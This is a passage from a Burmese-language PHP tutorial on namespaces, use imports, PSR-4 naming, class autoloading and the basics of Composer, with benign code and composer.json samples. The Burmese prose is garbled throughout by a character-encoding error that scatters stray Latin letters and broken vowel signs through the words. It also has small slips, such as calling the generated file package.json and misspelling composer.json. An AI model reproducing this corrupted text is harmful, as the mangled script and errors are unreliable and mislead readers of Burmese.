ကြေခါ်ယူအသုံးgပုမှု အားလုံးက Math Namespace ကြေအာက်မှာပဲ goစ်ကြေနမှာမုိ့လုိပါ။

ဒါကြေeကာင့် Calculator Namespace ကြေအာက်က် add() ကို ကြေခါ်ယူလုိတဲ့အခါ \Calculator\add()
ဆိုပြပီးကြေတာ့ ကြေရှ့ဆံုးမှာလည်း \  သကြေက[တတစ်ခု ပါဝင်သွားတာကို သတိgပုရမှာပဲ goစ်ပါတယ်။ အ့ဲဒီကြေရှ့ဆံုး
က  \  Global  Namespace    သုိ့မဟုတ်    Root  Namespace   လုိဆ့ိုနိုင်ပါတယ်။  ဒါကြေeကာင့်  ကြေခါ်ယူတဲ့အခါ
Math  Namespace  ကြေအာက်ကကြေန  ကြေခါ်ယူoုိ့  မကြကိုးစားကြေတာ့yဲ  Global  Namespace  ကြေအာက်က
Calculator Namespace goစ်သွားတဲ့အတွက် အဆင်ကြေgပသွားပါပြပီ။

Namespace ကြေတွမှာ Sub-Namespace လည်းရှိလုိရ့ပါကြေသးတယ်။ ဒီလုိပါ –

// Math.php

namespace Math\Basic;

define('PI', 3.14);

function add($a, $b) {
    return $a + $b;
}

ဒါဆိုရင်  Math.php  oုိင်ထဲက  ကုဒ်ကြေတွက  Math  Namespace  ကြေအာက်က  Basic  Sub-Namespace
ကြေအာက်ကကုဒ်ကြေတွ goစ်သွားပါပြပီ။ ဒီလုိမျ ို း  Sub-Namespace ကြေတွကို လုိအပ်သလုိ အဆင့်ဆင့် ကြေပးလုိ့ ရ
နိုင်ပါတယ်။  ဥပမာ  Library\Helper\Math\Basic လုိမျ ို းပါ။  ကြေခါ်ယူအသုံးgပုချနိ်မှာ  သတ်မှတ်
Sub-Namespace အဆင့်ဆင့်မှန်ကြေအာင်ကြေပးပြပီးကြေခါ်ရင် ရပါပြပီ။ ဒီလုိပါ –
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// App.php

namespace Math;

include('Math.php');

echo Basic\add(1, 2);                      // 3

နမူနာမှာ  App.php  က  Math Namespace  ကြေအာက်မှာပဲ  ဆက်ရှိကြေနပါကြေသးတယ်။ ဒါကြေeကာင့်  Basic\
add() လုိ့ကြေခါ်လုိက်တဲ့အခါ အgပည့်အစံုက Math\Basic\add() goစ်သွားမှာပါ။

ဒီကြေလာက်ဆိုရင်  Namespace  ကို  လက်ကြေတွ့စတင်အသံုးgပုလုိ့  ရနိုင်ပြပီgoစ်ပါတယ်။  ကုဒ်oုိင်တစ်ခုထဲ
Namespace  နှစ်ခုသုံးခု  ထည့်ကြေရးလုိရ့တဲ့  ကြေရးနည်းကြေတွ  ရှိကြေသးကြေပမယ့်  အသုံးမgပုသင့်တဲ့  ကြေရးနည်းလုိ့
သတ်မှတ်ထားeကလုိ့ ထည့်မကြေgပာကြေတာ့ပါyူး။

Namespace Import
သက်ဆိုင်ရာ  Namespace  ကြေအာက်ကလုပ်ကြေဆာင်ချက်ကြေတွကို  ရယူအသံုးgပုလုိတိုင်း  Namespace
တည်ကြေနရာကို ကြေgပာပြပီး သုံးကြေနစရာမလုိကြေအာင် use Statement နဲ့ Import လုပ်ထားလုိက်လုိ့လည်း ရနိုင်
ပါတယ်။ ဥပမာ – အခုလုိ ကြေရးထားတယ် ဆိုeကပါစို။့

// Calculator.php

namespace Library\Helper\Math\Basic;

class Calculator
{
    public function add($nums) {
        return array_sum($nums);
    }
}

ဒီ ကုဒ်ကိုအသုံးgပုလုိတဲ့အခါ သုံးရမယ့်ပံုစံက ဒီလုိgoစ်နိုင်ပါတယ်။
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// App.php

include('Calculator.php');

$calc1 = new Library\Helper\Math\Basic\Calculator;
$calc2 = new Library\Helper\Math\Basic\Calculator;

တစ်ခါသုံးချင်တိုင်းမှာ သူ့  Namespace အတိုင်း အကုန်ထပ်ခါထပ်ခါကြေရးကြေပးပြပီး သံုးကြေနရတာ အဆင်မကြေgပ
ပါyူး။ အဆင်ကြေgပသွားကြေအာင် ဒီလုိ ကြေရးလုိက်လုိ ့ရနိုင်ပါတယ်။

// App.php

include('Calculator.php');

use Library\Helper\Math\Basic\Calculator;

$calc1 = new Calculator;
$calc2 = new Calculator;

use Statement နဲ့ Calculator Class ကို Namespace အgပည့်အစံုနဲ့ တစ်ကြကိမ် Import  လုပ်ထားလုိက်
တဲ့အခါ  ကြေနာက်ပုိင်းမှာ  Calculator  ဆိုတဲ့  Class  အမည်နဲတ့င်  ဆက်လက်အသံုးgပုလုိ့  ရသွားပါပြပီ။  ဒီ
Import လုပ်တဲ့အခါ Alias လုပ်ပြပီး အမည်ကြေgပာင်းချင်ရင်လည်း ကြေgပာင်းထားလုိ့ ရနိုင်ပါကြေသးတယ်။

// App.php

include('Calculator.php');

use Library\Helper\Math\Basic\Calculator as Math;

$calc1 = new Math;
$calc2 = new Math;

Calculator Class  ကို  Import  လုပ်ပြပီး  Math  လုိ့  Alias  လုပ်ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် ကြေနာက်ပုိင်းမှာ
Math ဆိုတဲ့အမည်နဲ့ ဆက်သံုးလုိ့ ရသွားပြပီgoစ်ပါတယ်။
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PSR-4
PHP  မှာ  PHP Standard Recommendation  လုိ့ကြေခါ်တဲ့  အများလုိက်နာ အသံုးgပုသင့်ကြေသာ သတ်မှတ်
ချက်များ  ရှိပါတယ်။  အ့ဲဒီသတ်မှတ်ချက်ကြေတွထဲက  Namespace  နဲပ့က်သက်ရင်  အကြေရးကြကီးတာကကြေတာ့
PSR-4  လုိ့ကြေခါ်တဲ့  Class  Autoloader  သတ်မှတ်ချက်ပဲ  goစ်ပါတယ်။  Class  Autoloader  အကြေeကာင်းကို
ခဏကြေနကြေတာ့ ဆက်လက်ကြေoာ်gပပါမယ်။  Class  ကြေတွ  Namespace  ကြေတွကို  အမည်ကြေပးတဲ့အခါ ကြေပးသင့်တဲ့
နည်းလမ်းကြေတွကို သတ်မှတ်ကြေပးထားတာပါ။

- https://www.php-fig.org/psr/psr-4

Namespace  ကြေတွကြေပးတဲ့အခါ  ကြကိုက်တဲ့အမည်  ကြေပးလုိရ့ပါတယ်။  ကြကိုက်သကြေလာက်  Sub-Namespace
ကြေတွ သုံးလုိရ့ပါတယ်။ အ့ဲဒီလုိ  ကိုယ်ကြေပးချင်သလုိ ကြေပးလုိရ့တယ်ဆိုတိုင်းသာ ကြေပးeကမယ်ဆိုရင်  နားလည်
အသုံးgပုရ ခက်ကုန်ပါလိမ့်မယ်။ ဒါကြေeကာင့် PSR-4 သတ်မှတ်ချက် အပါအဝင် လုိက်နာသင့်တဲ့ အမည်ကြေပးပုံ
ကြေလးကြေတွက ဒီလုိပါ –

၁။  Class  အမည်ကြေတွ၊  Namespace  ကြေတွ ကြေပးတဲ့အခါ  Capital Case    ကို  အသုံးgပုသင့်ပါတယ်  ။  Capital
Case  ဆိုတာ ဒီလုိမျ ို းပါ။  Math, CarFactory, UserViewManager စသည်goင့် ကြေရှ့ဆံုးစာလံုး
အပါအဝင် Word တစ်ခုစတိုင်း စာလံုးအကြကီးနဲ့ စကြေပးရတဲ့ ကြေရးဟန်goစ်ပါတယ်။ Space ကြေတွ ထည့်မကြေပးရပါ
yူး။ Interface ကြေတွ Traits ကြေတွကိုလည် ဒီအမည်ကြေပးနည်းအတိုင်းပဲ ကြေပးရပါတယ်။

၂။  ကုဒ်oုိင်ရဲ့အမည်နဲ့ အ့ဲဒီကုဒ်oုိင်ထဲမှာရှိကြေနတဲ့ အဓိက Class    ရဲ့အမည်   တူသင့်ပါတယ်။ ဥပမာ -  အဓိက
Class  အမည်က  CarFactory ဆိုရင် oုိင်ရဲ့အမည်က  CarFactory.php goစ်သင့်ပါတယ်။ စာလံုး
အကြကီး အကြေသးကအစ အတတူူပဲ goစ်သင့်ပါတယ်။

၃။ Namespace   လမ်းကြေeကာင်းနဲ့ oုိဒါလမ်းကြေeကာင်း   တူသင့်ပါတယ်။ ဥပမာ - Namesapce နဲ့ Class အမည်
အgပည့်အစံုက  Library\Helper\Calculator ဆိုရင်  Calculator  Class  ရှိကြေနတဲ့
Calculator.php oုိင်ဟာ  Library  oုိဒါထဲက  Helper  oုိဒါထဲမှာ ရှိသင့်ပါတယ်။ ဒါကြေeကာင့် oုိင်  Path
လမ်းကြေeကာင်းကလည်း  Namespace  နဲ့အတူတူ  Library\Helper\Calculator.php goစ်သင့်ပါ
တယ်။ ဒီကြေတာ့ Namespace ကို eကည့်လုိက်ယုံနဲ ့oုိင်ရဲ့တည်ကြေနရာကိုပါ သိရှိနိုင်သွားပါပြပီ။

https://www.php-fig.org/psr/psr-4/
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ဒါဟာလက်ကြေတွ့ကုဒ်ကြေတွ ကြေရးသားတဲ့အခါ ရှင်းလင်းနားလည်ရလွယ်တဲ့  ကုဒ်ကြေတွgoစ်ကြေစoုိ့အတွက် အကြေရး
ပါတဲ့ သတ်မှတ်ချက်များပဲ goစ်ပါတယ်။

Class Autoload
PHP  မှာ အလွန်အသံုးဝင်တဲ့  Class Autoload  လုိ့ကြေခါ်တဲ့ လုပ်ကြေဆာင်ချကတ်စ်မျ ို း ရှိပါတယ်။ ပံုမှန်ဆိုရင်
ကုဒ်ကြေတွကို ဒီလုိကြေရးကြေပးရပါတယ်။

// Library/Helper/Calculator.php

namespace Library\Helper;

class Calculator
{
    public function add($nums) {
        return array_sum($nums);
    }
}

ဒါက PSR-4 သတ်မှတ်ချက်နဲအ့ညီ Library oုိဒါထဲက Helper oုိဒါထဲက Calculator.php မှာ ကြေရးထားတဲ့
ကုဒ်goစ်ပါတယ်။  Class  အမည်ကို  oုိင်အမည်နဲ့  တူကြေအာင်ကြေပးထားပြပီး  Namespace  ကို  oုိဒါ  Path
လမ်းကြေeကာင်းအတိုင်း ကြေပးထားပါတယ်။ ဒီ Class ကို အသုံးgပုလုိတဲ့အခါ အခုလုိ သံုးရမှာပါ –

// App.php

include('Library/Helper/Calculator.php');

use Library\Helper\Calculator;

$calc = new Calculator;
echo $calc->add([1, 2]); // 3

include Statement  နဲ့  oုိင်ကိုအရင်  Include  လုပ်ပြပီး၊  use Statement  နဲ့  Namespace  ကို  Import
လုပ်ထားပါတယ်။ အလုပ်ကြေတာ့လုပ်ပါတယ်။ ဒါကြေပမယ့်  include လည်းလုပ်ရတယ်၊  use လည်းလုပ်ရ
တယ်ဆိုကြေတာ့ ပုံစံတူ နှစ်ခါကြေရးရသလုိ goစ်ကြေနပါတယ်။
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Class Autoload ဆိုတာကကြေတာ့ Class တစ်ခုကို သံုးလုိက်တာနဲ့ အလုိအကြေလျှာက် include လုပ်ကြေပးကြေစ
နိုင်တဲ့ နည်းလမ်းgoစ်ပါတယ်။  include တစ်ခါလုပ်၊ သံုးoုိအ့တွက်  use တစ်ခါလုပ်ကြေနစရာမလုိကြေတာ့ပါ
yူး။ ဒီသကြေyာသyာဝ ရရှိoုိအ့တွက် အခုလုိကြေရးနိုင်ပါတယ်။

// autoload.php

spl_autoload_register(function($class) {

$class = str_replace("\\", "/", $class);

include($class . ".php");

});

spl_autoload_register() ဆိုတဲ့ Standard Function ကို Argument အကြေနနဲ့ Function တစ်ခု
ကြေပးရပါတယ်။ အ့ဲဒီ Function က Class တစ်ခုကို အသံုးgပုလုိက်တိုင်းမှာ အလုိအကြေလျှာက် အလုပ်လုပ်မှာ
ပါ။  $class Variable  ထဲမှာ  အလုပ်လုပ်သွားတဲ့  Class  ရဲ့  Namespace  အgပည့်အစံုရှိပါတယ်။
Namespace  မှာ  \  သကြေက[တကိုသံုးပြပီး  Include  မှာ  /  သကြေက[တကို  သုံးတဲ့အတွက်  str_replace()
Function ကိုသုံးပြပီး Namespace မှာပါတဲ့ \ သကြေက[တကြေတွကို / သကြေက[တနဲ့ အစားထုိးထားပါတယ်။ ပြပီးတဲ့
အခါ  Include  လုပ်ကြေပးလုိက်လုိ့  Class  ကို  သုံးလုိက်တာနဲ့  Class  oုိင်ကို  Include  လုပ်ကြေပးတဲ့
လုပ်ကြေဆာင်ချက်ကို ရရှိသွားမှာပဲ goစ်ပါတယ်။

ဒါကြေeကာင့် အသုံးgပုလုိတဲ့အခါ ဒီလုိကြေရးကြေပးလုိက်ရင် ရပါပြပီ။

// App.php

include('autoload.php');

use Library\Helper\Calculator;

$calc = new Calculator;
echo $calc->add([1, 2]); // 3 
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autoload.php ကို Include လုပ်ထားကြေပမယ့် Library/Helper/Calculator.php ကိုကြေတာ့
Include  လုပ်စရာမလုိကြေတာ့ပါyူး။  use နဲ့  Library\Helper\Calculator လုိ့ ကြေgပာလုိက်ချနိ်မှာ
အလုိအကြေလျှာက် Include လုပ်ကြေပးသွားတဲ့အတွက် goစ်ပါတယ်။

အခုလည်း  autoload.php ကို  Include  လုပ်ရတာပဲ  မဟုတ်yူးလား။  yာထူးလုိလဲ့။  ထူးပါတယ်။
autoload.php တစ်ခုထဲကိုသာ Include  လုပ်ကြေပးရတာပါ။  ကြေနာက်ထပ်   Class    ကြေတွသုံးချင်သကြေလာက်  
သုံး    Include    ထပ်လုပ်ကြေပးစရာ မလုိအပ်ကြေတာ့ပါyူး  ။ ကြေပးထားတဲ့  Namespace  နဲ့  Class  ကသာ  PSR-4
သတ်မှတ်ချက်များနဲ့  ကိုက်ညီoုိပဲ့လုိပါကြေတာ့တယ်။  ဒါဟာ ဆန်းကျယ်ပြပီး  အသုံးဝင်တဲ့  လုပ်ကြေဆာင်ချက်ပဲ
goစ်ပါတယ်။

ဒီလုိ  Class Autoload  ကုဒ်ကို  ကိုယ်တိုင်ကြေရးသားလုိရ့သလုိ၊  Composer  လုိ့ကြေခါ်တဲ့  နည်းပညာကကြေပးတဲ့
Autoload  လုပ်ကြေဆာင်ချက်ကိုလည်း  အသံုးgပုနိုင်ပါကြေသးတယ်။  ဒီအကြေeကာင်းကို  ကြေနာက်တစ်ခန်းမှာ
ဆက်လက်ကြေoာ်gပကြေပးပါမယ်။
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အခန်း (၃၅) – Composer

Composer  ဟာ  PHP  ပကြေရာင်္ဂျက်ကြေတွမှာ  မgoစ်မကြေနလုိအပ်တဲ့  အကြေရးပါတဲ့  နည်းပညာgoစ်ပါတယ်။
Composer ကိုအသုံးgပုပြပီး PHP Package ကြေတွ တည်ကြေဆာက်လုိရ့ပါတယ်။ အ့ဲဒီ Package ကြေတွကို အများ
ရယူ အသံုးgပုလုိရ့ကြေအာင် ကြေပးနိုင်ပါတယ်။ အoဲွ့အစည်းအသီးသီးနဲ့  ကမ္ဘာအနှံအ့gပားက  Developer  ကြေတွ
ကြေရးသားကြေပးထားတဲ့  Package    ကြေတွကို  ကိုယ့်ပကြေရာင်္ဂျက်မှာ ထည့်သံုးoုိ့  ရယူကြေပးနိုင်ပါတယ်  ။ ရယူထားတဲ့
Package မှာ Update ကြေတွရှိလာရင် Upgrade လုပ်ကြေပးနိုင်ပါတယ်။ ဒီလုိမျ ို း PHP Package တည်ကြေဆာက်
gခင်း၊ goန့်ကြေဝgခင်း၊ ရယူgခင်းတိုက့ို ကြေဆာင်ရွက်ကြေပးနိုင်လုိ့ Package Manager လုိ ့ကြေခါ်နိုင်ပါတယ်။ 

တgခား  Programming  Language  ကြေတွမှာလည်း  အလားတူ  Package  Manager  နည်းပညာကြေတွ
အသီးသီးရှိeကပါတယ်။ ဥပမာ – JavaScript အတွက် NPM လုိ့ကြေခါ်တဲ့  Package Manager နည်းပညာ ရှိ
ကြေနတာပါ။ ဒါကြေပမယ့် Composer ကိုယ်တိုင်ကကြေတာ့ သူ့ကိုယ်သူ Dependency Manager လုိ့ ကြေခါ်ပါတယ်။
ကိုယ့်ပကြေရာင်္ဂျက်က မီှခိုအားထားကြေနရတဲ့  Package  Dependency ကြေတွကို စီမံကြေပးနိုင်တဲ့ နည်းပညာဆိုတဲ့
အဓိပ္ပါယ်ပါ။ အကြေခါ်အကြေဝါ်အနည်းငယ် ကွဲgပားကြေပမယ့် သကြေyာသyာဝကကြေတာ့ အတူတူပါပဲ။

Composer  Install  gပုလုပ်ပုံgပုလုပ်နည်းကို  PHP  Development  Environment  တည်ကြေဆာက်ပုံ
တည်ကြေဆာက်နည်း နမူနာgပထားတဲ့ ဗီွဒီယုိသင်ခန်းစာထဲမှာ ထည့်သွင်းကြေoာ်gပခဲ့ပြပီး goစ်ပါတယ်။ အကယ်၍
Install မလုပ်ရကြေသးလုိ ့လုိအပ်တယ်ဆိုရင် ဒီကြေနရာမှာကြေလ့လာပြပီး Install လုပ်နိုင်ပါတယ်။

- https://getcomposer.org/doc/00-intro.md

https://getcomposer.org/doc/00-intro.md
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Composer  ဟာ  Command  Line  နည်းပညာတစ်ခုgoစ်ပါတယ်။  Install  လုပ်ပြပီးပြပီဆိုရင်  Command
Prompt  ကိုoွင့်ပြပီး  စတင်အသုံးgပုလုိရ့ပါပြပီ။  နမူနာ  စမ်းသပ်eကည့်နိုင်oုိ့  အတွက်  oုိဒါအလွတ်တစ်ခု
htdocs ကြေအာက်မှာ တည်ကြေဆာက်ပြပီး အ့ဲဒီoုိဒါထဲမှာ Command Prompt ကိုoွင့်လုိက်ပါ။

ပထမဆံုး ကြေလ့လာရမယ့် Command ကကြေတာ့ composer init goစ်ပါတယ်။ ဒီ Command ကို  Run
လုိက်ရင် Composer က ကြေမးခွန်းတစ်ချ ို ့ကြေမးပါလိမ့်မယ်။ 

composer init

ပထမဆံုးကြေမးခွန်းက Package Name goစ်ပါတယ်။ မိမိနှစ်သက်ရာအမည်ကို ကြေပးနိုင်ပါတယ်။ အမည်ကြေပး
တဲ့အခါ  vendor/name ဆိုတဲ့  Format  မျ ို းနဲ့  ကြေပးရပါတယ်။  vendor ကြေနရာမှာ အoဲွ့အစည်းအမည်နဲ့
name ကြေနရာမှာ ပကြေရာင်္ဂျက်ရဲ့အမည်ကို  ကြေပးရမှာပါ။ ဥပမာ  -  fairway/app ဆိုရင်  vendor အမည်
fairway goစ်ပြပီး  ပကြေရာင်္ဂျက်အမည်  app ဆိုတဲ့အဓိပ္ပါယ်ပါ။ အမည်မကြေပးရင်  သူ့yာသာ oုိဒါအမည်ကို
eကည့်ပြပီး Default အမည်တစ်ခုကို ကြေပးသွားမှာgoစ်ပါတယ်။

နှစ်သက်ရာအမည်ကြေပးပြပီး  Enter  နှိပ်လုိက်ရင်  ပကြေရာင်္ဂျက်  Description  လာကြေတာင်းပါလိမ့်မယ်။  yာမှမ
ကြေပးကြေတာ့yဲ  Enter  သာနှိပ်လုိက်ပါ။ ပြပီးတဲ့အခါ  Author  အမည်ကြေမးပါလိမ့်မယ်။ ကိုယ့်နာမည်ကိုယ် ထည့်
ပြပီး  Enter  နှိပ်ကြေပးလုိက်လုိရ့ပါတယ်။ ကျန်ကြေမးခွန်းကြေတွgoစ်တဲ့  Minimal Stability  တို့  Package Type တို့
License တိုက့ို yာမှgoည့်မကြေနyဲ အလွတ်အတိုင်းသာ Enter နှိပ်ကြေပးလုိက်ပါ။ လုိအပ်ရင် ကြေနာက်မှကြေပးလုိရ့
ပါတယ်။

Dependency ကြေတွထည့်မလားလုိ့ ကြေမးလာရင်လည်း no လုိပဲ့ ကြေgပာလုိက်ပါ။ ကြေနာက်မှပဲ ထည့်ပါကြေတာ့မယ်။
သူကို  မထည့်ခိုင်းကြေတာ့ပါyူး။  Dev  Dependency  ကြေတွထည့်မလား  ထပ်ကြေမးရင်လည်း  no လုိပဲ့  ကြေgပာ
လုိက်ပါ။ ကြေနာက်ဆံုးမှာ  Confirm  လုပ်ခိုင်းတဲ့အခါ  yes လုိ့ကြေgပာလုိက်ရင် ပြပီးသွားပါပြပီ။  ကိုယ့် ကြေရးွချယ်မှု
ကြေပါ် မူတည်ပြပီး အခုလုိ  Content  မျ ို း ပါဝင်တဲ့  package.json အမည်နဲ့  oုိင်တစ်ခုကို  Composer  က
တည်ကြေဆာက်ကြေပးသွားတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။
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 JSON – composer.json 

{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {}
}

ကိုယ့်ပကြေရာင်္ဂျက်oုိဒါထဲမှာ  composer.json oုိင်ရှိသွားပြပီဆိုတာနဲ့  အ့ဲဒီoုိဒါဟာ  Composer  Package
တစ်ခု  goစ်သွားပါပြပီ။  Download  ရယူထည့်သွင်းလုိတဲ့  Package  ကြေတွကိုစတင်ထည့်သွင်း  အသံုးgပုလုိ့  ရ
သွားပါပြပီ။ Package စာရင်းကို eကည့်ချင်ရင် ဒီလိပ်စာမှာ eကည့်လုိရ့ပါတယ်။

- https://packagist.org

နမူနာစမ်းသပ်နိုင်oုိအ့တွက် အခုလုိ Package တစ်ခုကို ထည့်သွင်းeကည့်နိုင်ပါတယ်။

composer require nesbot/carbon

ဒါဟာ nesbot ဆိုသူ  Developer တစ်ဦးကြေရးသားကြေပးထားတဲ့  carbon လုိ့ကြေခါ်တဲ့ ရက်စွဲအချနိ်ကြေတွ စီမံ
ကြေပးနိုင်တဲ့  PHP Package  တစ်ခုကို  Download  ရယူထည့်သွင်းလုိက်တာပါ။  Download  ပြပီးသွားတဲ့အခါ
ထူးgခားချက် နှစ်ချက်ကို သတိgပုရပါမယ်။

Composer  က  Download    ရယူထားတဲ့    Package    ကြေတွကို    vendor     လုိ့ကြေခါ်တဲ့  oုိဒါထဲမှာ   သိမ်းကြေပးပါ
တယ်။ ဒါကြေeကာင့် ကိုယ့်ပကြေရာင်္ဂျက်oုိဒါထဲမှာ vendor အမည်နဲ့ oုိဒါတစ်ခု ရှိသွားမှာgoစ်ပြပီး oွင့်eကည့်လုိက်
ရင်  Composer  က  Download  ရယူထည့်သွင်းကြေပးထားတဲ့  Package  ကြေတွကို  ကြေတွ့gမင်ရမှာgoစ်ပါတယ်။
Composer  က  ကိုယ်လုိချင်တဲ့    Package    အgပင်  အ့ဲဒီ    Package    အလုပ်လုပ်oုိ့  လုိအပ်တဲ့  ဆက်စပ်  
Package    ကြေတွကိုပါ   ပူးတွဲ  Download  ယူကြေပးတာမုိလုိ့့  vendor ထဲမှာ တစ်ခုထက်ပုိတဲ့  Package  ကြေတွ
ကြေရာက်ရှိကြေနတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။ ဒါ ထူးgခားချက်ပါ။

https://packagist.org/
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ကြေနာက်ထပ် ထူးgခားချက်အကြေနနဲ ့composer.json oုိင်ကိုoွင့်eကည့်လုိက်ရင် အခုလုိကြေတွ့ရပါလိမ့်မယ်။

 JSON – composer.json 

{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {
        "nesbot/carbon": "^2.43"
    }
}

require Section  မှာ ထည့်သွင်းလုိက်တဲ့  nesbot/carbon ပါဝင်သွားတာကို  ကြေတွ့gမင်ရမှာ goစ်ပါ
တယ်။ ကြေနာက်က ^2.43 ဆိုတာ Package ရဲ့ Version နံပါတ်ပါ။

Package  ကြေတွရယူပုံကြေနာက်တစ်နည်းကကြေတာ့  composer  install Command  goစ်ပါတယ်။
composer install က  composer.json oုိင်ရဲ့  require Section  ကိုeကည့်ပြပီး  အ့ဲဒီစာရင်း
အတိုင်း  Package  ကြေတွကို  တစ်ခုပြပီးတစ်ခု  Download  ရယူကြေပးမှာ  goစ်ပါတယ်။  ဒါကြေeကာင့်  ကိုယ်ပကြေရာ
င်္ဂျက်ကို Package အကြေနနဲ့ အများအသံုးgပုနိုင်oုိ့ ကြေပးတဲ့အခါ ဒီ composer.json oုိင်က အကြေရးကြကီးသွား
တာပါ။  vendor oုိဒါထဲက  Package  ကြေတွကို  ထည့်ကြေပးစရာမလုိyဲ  ဒီ    composer.json     oုိင်ကို  
ကြေပးလုိက်ယုံနဲ့  ရယူအသံုးgပုသူက ကိုယ့်ပကြေရာင်္ဂျက်ရဲ့  Dependency  စာရင်းကို  require Section  မှာ
eကည့်ပြပီး သိနိုင်သွားပါပြပီ။ composer install     ကို   Run   ပြပီး လုိအပ်တဲ့   Dependency   ကြေတွကို အလွယ်  

တစ်ကူ ရယူနိုင်သွားပါပြပီ။

ထည့်သွင်းထားတဲ့  Package ကြေတွကို အသုံးgပုလုိရင် vendor oုိဒါထဲမှာပဲ Composer က ထည့်သွင်းကြေပး
ထားတဲ့  autoload.php ရဲ့အကူအညီနဲ့  အသံုးgပုနိုင်ပါတယ်။  စမ်းeကည့်နိုင်oုိ့အတွက်  App.php
အမည်နဲ ့oုိင်တစ်ခု ပကြေရာင်္ဂျက်oုိဒါထဲမှာ တည်ကြေဆာက်ပြပီး အခုလုိကြေရးစမ်းeကည့်နိုင်ပါတယ်။
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 PHP 

<?php

include('vendor/autoload.php');

use Carbon\Carbon;

echo Carbon::now()->addDay();

ဒီအတိုင်းစမ်းeကည့်လုိက်ရင်  လက်ရှိရက်စွဲအချနိ်မှာ  (၁)  ရက်ကြေပါင်းထားကြေပးတဲ့  ရက်စွဲအချနိ်ကို  ရရှိမှာပဲ
goစ်ပါတယ်။ ပြပီးခဲ့တဲ့အခန်းမှာ eကည့်ခဲ့တဲ့  Class Autoload  ရဲ့ သကြေyာသyာဝအတိုင်းပဲ  Carbon Class
ကို  use Statement  နဲ့  သုံးကြေပးလုိက်oုိပဲ့  လုိပါတယ်။  ကိုယ့်yာသာ  Include  လုပ်စရာမလုိပါyူး။
Composer က autoload.php ထဲမှာ အလုိအကြေလျှာက် Include လုပ်ကြေအာင် ထည့်ကြေရးကြေပးထားပြပီး goစ်
ပါတယ်။

ဒီ autoload.php ကို ကိုယ့်ကုဒ်ကြေတွအတွက်လည်း အသံုးgပုနိုင်ပါတယ်။ စမ်းeကည့်နိုင်oုိအ့တွက် App
အမည်နဲ့ oုိဒါတစ်ခု ကြေဆာက်လုိက်ပါ။ App အတွင်းထဲမှာ Library အမည်နဲ့ ကြေနာက်ထပ် oုိဒါတစ်ခု ထပ်
ကြေဆာက်လုိက်ပါ။  ပြပီးရင်  Math.php အမည်နဲ့  ကုဒ်oုိင်တစ်ခုကို  Library ထဲမှာ ကြေရးကြေပးလုိက်ပါ။  ဒါ
ကြေeကာင့် oုိင်  Path  လမ်းကြေeကာင်း အgပည့်အစံုက  App\Library\Math.php goစ်ရပါမယ်။ ကြေရးရမယ့်
ကုဒ်က ဒီလုိပါ –

 PHP 

<?php

namespace App\Library;

class Math
{

static function add($a, $b)
{

echo $a + $b;
}

}
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PSR-4 သတ်မှတ်ချက်နဲ့အညီ oုိဒါလမ်းကြေeကာင်းအတိုင်း Namespace ကြေပးထားတာကို သတိgပုပါ။ ပြပီးကြေတာ့
Class  အမည်ကိုလည်း  oုိင်အမည်နဲ့  တူကြေအာင်ကြေပးထားပါတယ်။  ပြပီးတဲ့အခါ  composer.json မှာ
autoload လုိ့ကြေခါ်တဲ့ Section တစ်ခုထပ်ထည့်ကြေပးရပါမယ်။ ဒီလုိပါ –

 JSON – composer.json 

{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {
        "nesbot/carbon": "^2.43"
    },
    "autoload": {
        "psr-4": {
            "App\\": "App/"
        }
    }
}

autoload ရဲ့  psr-4 မှာ  Namespace  App ဆိုရင်  အလုပ်လုပ်ရမယ့် oုိဒါက  App  oုိဒါgoစ်ကြေeကာင်း
ကြေgပာကြေပးလုိက်တာပါ။ ဒီလုိကြေgပာကြေပးလုိက်တဲ့အတွက် Composer   က   Namespace   App     နဲစ့တဲ့    Class   oုိင်  
ကြေတွကို   App   oုိဒါထဲမှာ သွားရှာကြေတာ့မှာပါ  ။

ကြေနာက်တစ်ဆင့်အကြေနနဲ့ composer dump-autoload Command ကို Run ကြေပးoုိလုိ့ပါတယ်။ ဒီကြေတာ့
မှ  conposer.json မှာ goည့်စွက်ကြေရးသားလုိက်တဲ့  autoload လုပ်ကြေဆာင်ချက်ကြေတွက အသက်ဝင်
မှာပါ။

composer dump-autoload

composer.json မှာ autoload Section ထည့်ပြပီးပြပီ၊  dump-autoload လည်း  Run ပြပီးပြပီဆိုရင်
စတင်အသုံးgပုနိုင်ပါပြပီ။ ကြေရးလက်စ index.php မှာ အခုလုိကြေgပာင်းကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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 PHP 

<?php

include('vendor/autoload.php');

use Carbon\Carbon;
use App\Library\Math;

echo Carbon::now()->addDay();
echo Math::add(1, 2); // 3

App\Library\Math ကို  use နဲသုံ့းကြေပးလုိက်တာနဲ့  autoload က Class  oုိင်ကို  အလုိအကြေလျှာက်
Include လုပ်ကြေပးသွားမှာgoစ်လုိ ့ကိုယ်yာသာ Include လုပ်စရာမလုိyဲ အသုံးgပုလုိရ့ရှိသွားပါပြပီ။

ဒီနည်းနဲ့  Class Autoload လုပ်ကြေဆာင်ချက်ရကြေအာင် ကိုယ်တိုင်ကြေရးသားလုိရ့သလုိ၊  Composer  ကကြေရးကြေပး
ထားတာကိုသံုးလုိလ့ည်း ရနိုင်gခင်းgoစ်ပါတယ်။

ကြေနာက်ထပ်တစ်ခုအကြေနနဲ့  composer  create-project ကို  မှတ်သားသင့်ပါတယ်။  create-
project ကလည်း  လုိချင်တဲ့  Package  ကို  Download  လုပ်ရယူတာပါပဲ။  ကွာသွားတာကကြေတာ့
require နဲ့  Download  ရယူရင်  ရလာတဲ့  Package  ကို  vendor oုိဒါထဲမှာ  ထည့်ကြေပးပါတယ်။
create-project နဲ့  Download    ရယူရင်ကြေတာ့    Package    ကို  အသုံးgပုပြပီး  ပကြေရာင်္ဂျက်oုိဒါ  အသစ်  
တည်ကြေဆာက်ကြေပးပြပီး   Package   oုိင်ကြေတွကို အ့ဲဒီပကြေရာင်္ဂျက်oုိဒါသစ်ထဲမှာ ကူးထည့်ကြေပးပါတယ်  ။

